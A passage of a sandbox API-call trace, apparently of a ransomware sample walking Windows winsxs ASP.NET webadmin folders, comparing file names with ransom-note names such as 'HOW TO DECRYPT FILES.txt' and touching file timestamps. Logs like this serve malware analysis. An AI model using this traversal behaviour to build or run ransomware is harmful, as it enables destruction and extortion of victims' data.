returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\" [0165.772] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\") returned="" [0165.772] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.772] CloseHandle (hObject=0xffffffff) returned 0 [0165.772] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.773] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="editUser.aspx") returned -1 [0165.773] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="editUser.aspx") returned 1 [0165.773] lstrcmpiA (lpString1="", lpString2="editUser.aspx") returned -1 [0165.773] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\addUser.aspx") returned="addUser.aspx" [0165.773] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\" [0165.773] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\") returned="" [0165.773] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.773] CloseHandle (hObject=0xffffffff) returned 0 [0165.773] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.773] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="findUsers.aspx") returned -1 [0165.773] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="findUsers.aspx") returned 1 [0165.773] lstrcmpiA (lpString1="", lpString2="findUsers.aspx") returned -1 [0165.773] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\editUser.aspx") returned="editUser.aspx" [0165.773] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\" [0165.774] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\") returned="" [0165.774] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.774] CloseHandle (hObject=0xffffffff) returned 0 [0165.774] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.774] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="manageUsers.aspx") returned -1 [0165.774] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="manageUsers.aspx") returned -1 [0165.774] lstrcmpiA (lpString1="", lpString2="manageUsers.aspx") returned -1 [0165.774] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\findUsers.aspx") returned="findUsers.aspx" [0165.774] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\" [0165.774] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_b03f5f7f11d50a3a_6.1.7600.16385_none_be918bff95b9bbc5\\") returned="" [0165.775] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.775] CloseHandle (hObject=0xffffffff) returned 0 [0165.776] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02") returned -1 [0165.776] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02") returned -1 [0165.776] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.777] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1139bf1e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1139bf1e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1139bf1e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.779] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.780] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.780] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.780] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.780] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="addUser.aspx.resx") returned 1 [0165.780] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="addUser.aspx.resx") returned 1 [0165.780] lstrcmpiA (lpString1="", lpString2="addUser.aspx.resx") returned -1 [0165.780] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\*.*") returned="*.*" [0165.780] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\" [0165.780] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\") returned="" [0165.780] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.780] CloseHandle (hObject=0xffffffff) returned 0 [0165.781] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.781] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="editUser.aspx.resx") returned -1 [0165.781] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="editUser.aspx.resx") returned 1 [0165.781] lstrcmpiA (lpString1="", lpString2="editUser.aspx.resx") returned -1 [0165.781] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\addUser.aspx.resx") returned="addUser.aspx.resx" [0165.781] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\" [0165.781] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\") returned="" [0165.781] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.781] CloseHandle (hObject=0xffffffff) returned 0 [0165.782] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.782] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="findUsers.aspx.resx") returned -1 [0165.782] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="findUsers.aspx.resx") returned 1 [0165.782] lstrcmpiA (lpString1="", lpString2="findUsers.aspx.resx") returned -1 [0165.782] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\editUser.aspx.resx") returned="editUser.aspx.resx" [0165.782] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\" [0165.782] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\") returned="" [0165.782] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.782] CloseHandle (hObject=0xffffffff) returned 0 [0165.782] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.782] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="manageUsers.aspx.resx") returned -1 [0165.782] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="manageUsers.aspx.resx") returned -1 [0165.782] lstrcmpiA (lpString1="", lpString2="manageUsers.aspx.resx") returned -1 [0165.783] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\findUsers.aspx.resx") returned="findUsers.aspx.resx" [0165.783] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\" [0165.783] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_users_res_b03f5f7f11d50a3a_6.1.7600.16385_none_3db80e7607906d02\\") returned="" [0165.783] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.783] CloseHandle (hObject=0xffffffff) returned 0 [0165.784] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c") returned -1 [0165.784] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c") returned -1 [0165.784] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.785] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1139bf1e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x113c2078, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x113c2078, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.787] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.787] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.787] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.787] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.787] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="confirmation.ascx") returned 1 [0165.787] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="confirmation.ascx") returned 1 [0165.787] lstrcmpiA (lpString1="", lpString2="confirmation.ascx") returned -1 [0165.787] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\*.*") returned="*.*" [0165.787] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" [0165.787] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\") returned="" [0165.788] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.788] CloseHandle (hObject=0xffffffff) returned 0 [0165.788] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.788] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wizard.aspx") returned -1 [0165.788] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wizard.aspx") returned -1 [0165.788] lstrcmpiA (lpString1="", lpString2="wizard.aspx") returned -1 [0165.788] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\confirmation.ascx") returned="confirmation.ascx" [0165.788] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" [0165.788] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\") returned="" [0165.788] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.789] CloseHandle (hObject=0xffffffff) returned 0 [0165.789] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.789] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wizardAddUser.ascx") returned -1 [0165.789] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wizardAddUser.ascx") returned -1 [0165.789] lstrcmpiA (lpString1="", lpString2="wizardAddUser.ascx") returned -1 [0165.789] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\wizard.aspx") returned="wizard.aspx" [0165.789] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" [0165.789] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\") returned="" [0165.789] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.789] CloseHandle (hObject=0xffffffff) returned 0 [0165.790] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.790] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wizardAuthentication.ascx") returned -1 [0165.790] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wizardAuthentication.ascx") returned -1 [0165.790] lstrcmpiA (lpString1="", lpString2="wizardAuthentication.ascx") returned -1 [0165.790] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\wizardAddUser.ascx") returned="wizardAddUser.ascx" [0165.790] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" [0165.790] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\") returned="" [0165.790] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.790] CloseHandle (hObject=0xffffffff) returned 0 [0165.790] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.791] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\wizardAuthentication.ascx") returned="wizardAuthentication.ascx" [0165.791] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" [0165.791] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\") returned="" [0165.791] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.791] CloseHandle (hObject=0xffffffff) returned 0 [0165.791] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.791] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\wizardCreateRoles.ascx") returned="wizardCreateRoles.ascx" [0165.791] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" [0165.791] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\") returned="" [0165.792] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.792] CloseHandle (hObject=0xffffffff) returned 0 [0165.792] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.792] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\wizardFinish.ascx") returned="wizardFinish.ascx" [0165.792] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" [0165.793] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\") returned="" [0165.793] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.793] CloseHandle (hObject=0xffffffff) returned 0 [0165.793] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.793] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\wizardInit.ascx") 